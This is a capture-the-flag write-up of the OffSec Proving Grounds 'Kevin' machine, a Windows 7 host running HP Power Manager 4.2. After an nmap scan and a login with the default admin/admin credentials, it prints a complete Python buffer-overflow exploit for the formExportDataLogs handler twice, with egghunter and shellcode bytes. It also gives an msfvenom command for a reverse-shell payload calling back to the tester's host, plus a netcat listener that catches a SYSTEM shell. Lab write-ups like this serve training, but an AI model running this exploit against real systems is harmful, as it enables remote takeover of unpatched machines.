writeup 2026-01-16 · 11 min read

OffSec Proving Grounds Kevin Writeup

Windows 7 target running HP Power Manager 4.2. The admin/admin default login confirms the version, and a formExportDataLogs overflow returns a SYSTEM shell.

OffSec Proving Grounds Kevin Writeup

Summary

Kevin is a Windows 7 Ultimate host whose only interesting service is a GoAhead web server on port 80 serving HP Power Manager. The login page accepts admin as both username and password, and the about section pins the build at HP Power Manager 4.2 Build 7. That version has a public stack buffer overflow in the formExportDataLogs handler, exploited through an egghunter plus alphanumeric shellcode because the request filters most bytes. Regenerating the shellcode with msfvenom for the tester’s own listener and firing the exploit at port 80 returns a connection on the netcat listener immediately. The shell comes back as NT AUTHORITY SYSTEM, so no privilege escalation step is needed.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# Nmap 7.98 scan initiated Fri Jan 16 11:01:34 2026 as: nmap -A -vv -oN scans/nmap.initial --min-rate 2500 192.168.113.45
Nmap scan report for 192.168.113.45
Host is up, received echo-reply ttl 125 (0.13s latency).
Scanned at 2026-01-16 11:01:35 -03 for 107s
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE        REASON          VERSION
80/tcp    open  http           syn-ack ttl 125 GoAhead WebServer
| http-title: HP Power Manager
|_Requested resource was http://192.168.113.45/index.asp
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: GoAhead-Webs
135/tcp   open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn    syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   syn-ack ttl 125 Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server? syn-ack ttl 125
| ssl-cert: Subject: commonName=kevin
| Issuer: commonName=kevin
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2026-01-15T13:56:08
| Not valid after:  2026-07-17T13:56:08
| MD5:     d936 d3ed 1c1b 196e 445e 798d 48b1 0afc
| SHA-1:   6806 a681 bff0 16d8 a373 ed6e 41b7 2e2e 129d 7c29
| SHA-256: 1376 27a9 f737 3bb3 bdf1 e086 7fd9 1ea5 64d8 7051 750b 1b64 263f 01d3 c335 7c81
| -----BEGIN CERTIFICATE-----
| MIICzjCCAbagAwIBAgIQWiBoaxakpY5NfnzZ6wdz0DANBgkqhkiG9w0BAQUFADAQ
| MQ4wDAYDVQQDEwVrZXZpbjAeFw0yNjAxMTUxMzU2MDhaFw0yNjA3MTcxMzU2MDha
| MBAxDjAMBgNVBAMTBWtldmluMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAsqjz5RQ02xxJb0LhEk5xjIC82I8HjTgq2Pd0RloShE1oBkw3K/vZG2lwsXAW
| mtut3oy29y6ONTG8Znm+2k8JBZZULncFraDEemLg38QapWXs6H2ssrV9WgJq8398
| adpDfnbw/OJItlz3xneFFZiWWx5EGVY7GzGYaOuNbICEYqRq0ZJCyEasjzzZm8ib
| DtlRKph/UkI8o9JCbtA1YkjNd6Je6GVddXbMV18L5RaIiiu6pZ4Bf39nvtNgYJ55
| nW0jEqAsYtD4az19SUvu/FQECRhFeL8YgrzG5Zy4cICD9NmVzTfEyO8ilqhZuKR/
| Ww2GJzd/2gum0OG5YThohicaTQIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcD
| ATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQEFBQADggEBABVPUbHUENX3k6pS+UIA
| KwTKnF3MqJRc+LalRGn263UozH0kM07BWV5GP8EezFoLvsk9DlWn5pRlrBP/Dm35
| enX+P8pocZspPfDDXWH6E8RGVMCm40HBAyrDSs12iwm9lCFSd/OM/EHiO6Cgskf+
| McWxRC5mkkVcIMVfUB7exUnW/H5hbxxN7riFM5jjCZtCAfLsLNnczSBvl0QSFN4d
| /EnmVCxe/WcEZdomd9dwUTMjGdvayD6LOqRv9mgE5/HDdRCVp3lEo0aOzQZtktl3
| vcwvszgbDV4n9Lg/aHkHEd1jTBjnX2Mjn0d2j1PAkwGeb2vrBOWpT8vsnTQw+Lri
| ats=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-16T14:03:22+00:00; 0s from scanner time.
49152/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
49153/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
49154/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
49155/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
49158/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
49159/tcp open  msrpc          syn-ack ttl 125 Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=1/16%OT=80%CT=1%CU=43220%PV=Y%DS=4%DC=T%G=Y%TM=696A452
OS:A%P=x86_64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%TS=7)SEQ
OS:(SP=F9%GCD=1%ISR=111%TI=I%CI=I%TS=7)SEQ(SP=FD%GCD=1%ISR=102%TI=I%CI=I%TS
OS:=7)OPS(O1=M578NW8ST11%O2=M578NW8ST11%O3=M578NW8NNT11%O4=M578NW8ST11%O5=M
OS:578NW8ST11%O6=M578ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A
OS:%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=N)

Uptime guess: 0.005 days (since Fri Jan 16 10:56:52 2026)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h00m00s, deviation: 4h00m00s, median: 0s
| smb2-time: 
|   date: 2026-01-16T14:03:13
|_  start_date: 2026-01-16T13:57:03
| nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:86:9f:c7 (VMware)
| Names:
|   KEVIN<20>            Flags: <unique><active>
|   KEVIN<00>            Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| Statistics:
|   00 50 56 86 9f c7 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::-
|   Computer name: kevin
|   NetBIOS computer name: KEVIN\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-01-16T06:03:13-08:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 60562/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 60957/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 37041/udp): CLEAN (Timeout)
|   Check 4 (port 12665/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   169.11 ms 192.168.45.1
2   169.08 ms 192.168.45.254
3   169.13 ms 192.168.251.1
4   169.19 ms 192.168.113.45

Read data files from: /home/user/Software/nmap-7.98
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 16 11:03:22 2026 -- 1 IP address (1 host up) scanned in 108.01 seconds

Initial Access - HP Power Manager RCE

I access the web server on port 80 and get a login page for HP Power Manager. I try logging in with username “admin” and password “admin”, and it works. I’m now logged in.

I see the about section of the software to discover its exact version number:

The HP Power Manager about page confirming version 4.2 Build 7

More specifically,

1
HP Power Manager 4.2 (Build 7)

I search for exploits online targeting this specific software version and find this github repo. The raw exploit looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python
# This is a python3 port / extension of the HP Power Manager 'formExportDataLogs' Buffer Overflow Script by Muhammad Haidari
# For the original script visit: https://github.com/Muhammd/HP-Power-Manager
# 
# Usage: python3 hp_pm_exploit_p3.py <Remote IP Address> <Remote Port> <Local Listener Port>
# <Remote IP Address>: ip address the HP Power Manager is running on
# <Remote Port>: port the application is running on
# <Local Listener Port>: local port your shellcode is connecting back to -> script starts nc listener to catch reverse shell
#
# Swap out the shellcode
# Tested on HP Power Manager 4.2 (Build 7) on Windows 7 Ultimate (6.1.7600 N/A Build 7600)
# Author: CountablyInfinite

from urllib import parse
from time import sleep
from sys import argv,exit
from socket import socket,AF_INET,SOCK_STREAM
from os import system

try:
   HOST  = argv[1]
   PORT = int(argv[2]) # port the remote application is running on
   LPORT = int(argv[3]) # port the shellcode is connecting back to -> listener gets sta
   if (len(argv)>4):
      raise IndexError
except IndexError: 
   print("Usage: python3 %s <Remote IP Address> <Remote Port> <Local Listener Port>" % argv[0])
   print("Example: python3 %s 10.10.0.1 80 4411" % argv[0])
   exit()

#msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP> LPORT=4411  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
egg = "b33fb33f"
buf = egg
buf += "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x1f\x0e\xd2\x8c\x95\x88\x83\xee\xfc\xe2\xf4\x2e\x64"
buf += "\x17\x8f\xd2\x8c\xf5\x01\x37\xbd\x25\xec\x59\xdc\xa5"
buf += "\x13\x30\x80\x1e\xda\xc6\x07\xe7\xa0\xdd\x3b\xdf\xae"
buf += "\xe3\x73\x39\xb4\xb3\xf0\x97\xa4\xf2\x4d\x5a\x85\xd3"
buf += "\x3b\x77\x7a\x80\xdb\x1e\xda\xa2\x07\xdf\xb4\x59\xc0"
buf += "\x84\xf0\x31\xc4\x94\x59\x83\x07\xcc\xa8\xd3\x5f\x1e"
buf += "\xcc\xca\x6f\xaf\xc1\x59\xb8\x1e\x89\x04\xbd\x6a\x24"
buf += "\x13\x43\x98\x89\x15\x34\x75\xfd\x24\x8f\xf8\x70\xe9"
buf += "\xf1\xb1\xfd\x36\xd4\x1e\xd0\xf6\x8d\x46\xee\x59\x80"
buf += "\xde\x03\x8a\x90\x94\x5b\x59\x88\x1e\x89\x02\x05\xd1"
buf += "\x2c\xf6\xd7\xce\xe9\x8b\xd6\xc4\x77\x32\xd3\xca\xd2"
buf += "\x59\x9e\x7e\x05\x8f\xe4\xa6\xba\xd2\x8c\xfd\xff\xa1"
buf += "\x2e\xca\xdc\xba\xc0\xe2\xae\xd5\x73\x40\x30\x42\x8d"
buf += "\x35\x88\xfb\x48\xc1\xd8\xba\xa5\x15\xe3\xd2\x73\x40"
buf += "\xd8\x82\xdc\xc5\xc8\x82\xcc\xc5\xe0\x38\x83\x4a\x68"
buf += "\x2d\x59\x02\xe2\xd7\xe4\x9f\x83\xd2\x19\xfd\x8a\xd2"
buf += "\xed\xae\x01\x34\xe6\x85\xde\x85\xe4\x0c\x2d\xa6\xed"
buf += "\x6a\x5d\x57\x4c\xe1\x24\x2d\xc2\x9d\xfd\x3e\xe4\x65"
buf += "\x3d\x70\xda\x6a\x5d\xba\xef\xf8\xec\xd2\x05\x76\xdf"
buf += "\x85\xdb\xa4\x7e\xb8\x9e\xcc\xde\x30\x71\xf3\x4f\x96"
buf += "\xa8\xa9\x89\xd3\x01\xd1\xac\xc2\x4a\x95\xcc\x86\xdc"
buf += "\xc3\xde\x84\xca\xc3\xc6\x84\xda\xc6\xde\xba\xf5\x59"
buf += "\xb7\x54\x73\x30\x01\x32\xc2\xc3\xce\x2d\xbc\xfd\x80"
buf += "\x25\x91\xff\x77\x07\x37\x75\x95\xf8\x86\xfd\x2e\x47"
buf += "\x31\x28\x77\x07\xb0\x93\xf4\xd8\x0c\x6e\x68\xa7\x89"
buf += "\x2e\xff\xc1\xfe\xfa\xf2\xd2\xdf\x6a\x5d"

#egghunter.rb -f python -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a' -e b33f -v 'hunter'
hunter =  b""
hunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
hunter += b"\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x89\xd7"
hunter += b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

buffer = b"\x41" * (721 -len(hunter))
buffer += b"\x90"*30 + hunter
buffer += b"\xeb\xc2\x90\x90"            #JMP SHORT 0xC2 
buffer += b"\xd5\x74\x41" 	              #pop esi # pop ebx # ret 10 (DevManBE.exe)

content= "dataFormat=comma&exportto=file&fileName=%s" % parse.quote_plus(buffer)
content+="&bMonth=03&bDay=12&bYear=2017&eMonth=03&eDay=12&eYear=2017&LogType=Application&actionType=1%253B"

payload =  "POST /goform/formExportDataLogs HTTP/1.1\r\n"
payload += "Host: %s\r\n" % HOST
payload += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"
payload += "Accept: %s\r\n" % buf
payload += "Referer: http://%s/Contents/exportLogs.asp?logType=Application\r\n" % HOST
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: %s\r\n\r\n" % len(content)
payload += content

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print("[+] HP Power Manager 'formExportDataLogs' Buffer Overflow Exploit")
print("[+] Sending exploit to Ip " +str(HOST)+" on port "+str(PORT)+". Starting local listener on port "+str(LPORT))
s.send(payload.encode('latin1'))
system("nc -nlvp "+ str(LPORT))
s.close()

To populate the shellcode with something that will actually make a callback to my machine, I generate using msfvenom:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.205 LPORT=53  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

This is the final modified exploit that I ran agaisnt the victim:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python
# This is a python3 port / extension of the HP Power Manager 'formExportDataLogs' Buffer Overflow Script by Muhammad Haidari
# For the original script visit: https://github.com/Muhammd/HP-Power-Manager
# 
# Usage: python3 hp_pm_exploit_p3.py <Remote IP Address> <Remote Port> <Local Listener Port>
# <Remote IP Address>: ip address the HP Power Manager is running on
# <Remote Port>: port the application is running on
# <Local Listener Port>: local port your shellcode is connecting back to -> script starts nc listener to catch reverse shell
#
# Swap out the shellcode
# Tested on HP Power Manager 4.2 (Build 7) on Windows 7 Ultimate (6.1.7600 N/A Build 7600)
# Author: CountablyInfinite

from urllib import parse
from time import sleep
from sys import argv,exit
from socket import socket,AF_INET,SOCK_STREAM
from os import system

try:
   HOST  = argv[1]
   PORT = int(argv[2]) # port the remote application is running on
   LPORT = int(argv[3]) # port the shellcode is connecting back to -> listener gets sta
   if (len(argv)>4):
      raise IndexError
except IndexError: 
   print("Usage: python3 %s <Remote IP Address> <Remote Port> <Local Listener Port>" % argv[0])
   print("Example: python3 %s 10.10.0.1 80 4411" % argv[0])
   exit()

#msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP> LPORT=4411  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
egg = "b33fb33f"
buf = egg
buf += "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
buf += "\x81\x76\x0e\x99\x99\xaa\xce\x83\xee\xfc\xe2\xf4"
buf += "\x65\x71\x28\xce\x99\x99\xca\x47\x7c\xa8\x6a\xaa"
buf += "\x12\xc9\x9a\x45\xcb\x95\x21\x9c\x8d\x12\xd8\xe6"
buf += "\x96\x2e\xe0\xe8\xa8\x66\x06\xf2\xf8\xe5\xa8\xe2"
buf += "\xb9\x58\x65\xc3\x98\x5e\x48\x3c\xcb\xce\x21\x9c"
buf += "\x89\x12\xe0\xf2\x12\xd5\xbb\xb6\x7a\xd1\xab\x1f"
buf += "\xc8\x12\xf3\xee\x98\x4a\x21\x87\x81\x7a\x90\x87"
buf += "\x12\xad\x21\xcf\x4f\xa8\x55\x62\x58\x56\xa7\xcf"
buf += "\x5e\xa1\x4a\xbb\x6f\x9a\xd7\x36\xa2\xe4\x8e\xbb"
buf += "\x7d\xc1\x21\x96\xbd\x98\x79\xa8\x12\x95\xe1\x45"
buf += "\xc1\x85\xab\x1d\x12\x9d\x21\xcf\x49\x10\xee\xea"
buf += "\xbd\xc2\xf1\xaf\xc0\xc3\xfb\x31\x79\xc6\xf5\x94"
buf += "\x12\x8b\x41\x43\xc4\xf1\x99\xfc\x99\x99\xc2\xb9"
buf += "\xea\xab\xf5\x9a\xf1\xd5\xdd\xe8\x9e\x66\x7f\x76"
buf += "\x09\x98\xaa\xce\xb0\x5d\xfe\x9e\xf1\xb0\x2a\xa5"
buf += "\x99\x66\x7f\x9e\xc9\xc9\xfa\x8e\xc9\xd9\xfa\xa6"
buf += "\x73\x96\x75\x2e\x66\x4c\x3d\xa4\x9c\xf1\x6a\x66"
buf += "\xb4\x54\xc2\xcc\x99\x99\x9f\x47\x7f\xf3\xba\x98"
buf += "\xce\xf1\x33\x6b\xed\xf8\x55\x1b\x1c\x59\xde\xc2"
buf += "\x66\xd7\xa2\xbb\x75\xf1\x5a\x7b\x3b\xcf\x55\x1b"
buf += "\xf1\xfa\xc7\xaa\x99\x10\x49\x99\xce\xce\x9b\x38"
buf += "\xf3\x8b\xf3\x98\x7b\x64\xcc\x09\xdd\xbd\x96\xcf"
buf += "\x98\x14\xee\xea\x89\x5f\xaa\x8a\xcd\xc9\xfc\x98"
buf += "\xcf\xdf\xfc\x80\xcf\xcf\xf9\x98\xf1\xe0\x66\xf1"
buf += "\x1f\x66\x7f\x47\x79\xd7\xfc\x88\x66\xa9\xc2\xc6"
buf += "\x1e\x84\xca\x31\x4c\x22\x4a\xd3\xb3\x93\xc2\x68"
buf += "\x0c\x24\x37\x31\x4c\xa5\xac\xb2\x93\x19\x51\x2e"
buf += "\xec\x9c\x11\x89\x8a\xeb\xc5\xa4\x99\xca\x55\x1b"

#egghunter.rb -f python -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a' -e b33f -v 'hunter'
hunter =  b""
hunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
hunter += b"\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x89\xd7"
hunter += b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

buffer = b"\x41" * (721 -len(hunter))
buffer += b"\x90"*30 + hunter
buffer += b"\xeb\xc2\x90\x90"            #JMP SHORT 0xC2 
buffer += b"\xd5\x74\x41"                #pop esi # pop ebx # ret 10 (DevManBE.exe)

content= "dataFormat=comma&exportto=file&fileName=%s" % parse.quote_plus(buffer)
content+="&bMonth=03&bDay=12&bYear=2017&eMonth=03&eDay=12&eYear=2017&LogType=Application&actionType=1%253B"

payload =  "POST /goform/formExportDataLogs HTTP/1.1\r\n"
payload += "Host: %s\r\n" % HOST
payload += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"
payload += "Accept: %s\r\n" % buf
payload += "Referer: http://%s/Contents/exportLogs.asp?logType=Application\r\n" % HOST
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: %s\r\n\r\n" % len(content)
payload += content

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print("[+] HP Power Manager 'formExportDataLogs' Buffer Overflow Exploit")
print("[+] Sending exploit to Ip " +str(HOST)+" on port "+str(PORT)+". Starting local listener on port "+str(LPORT))
s.send(payload.encode('latin1'))
s.close()

Start a netcat listener on port 53:

1
sudo rlwrap nc -lvnp 53

I run the exploit like so:

1
python3 exploit.py 192.168.113.45 80 53

The exploit outputs:

1
2
[+] HP Power Manager 'formExportDataLogs' Buffer Overflow Exploit
[+] Sending exploit to Ip 192.168.113.45 on port 80. Starting local listener on port 53

As you can see from the screenshot below, I get a shell as nt authority\system right away:

The netcat listener catching the reverse shell, with whoami returning NT AUTHORITY SYSTEM

This post is licensed under CC BY 4.0 by the author.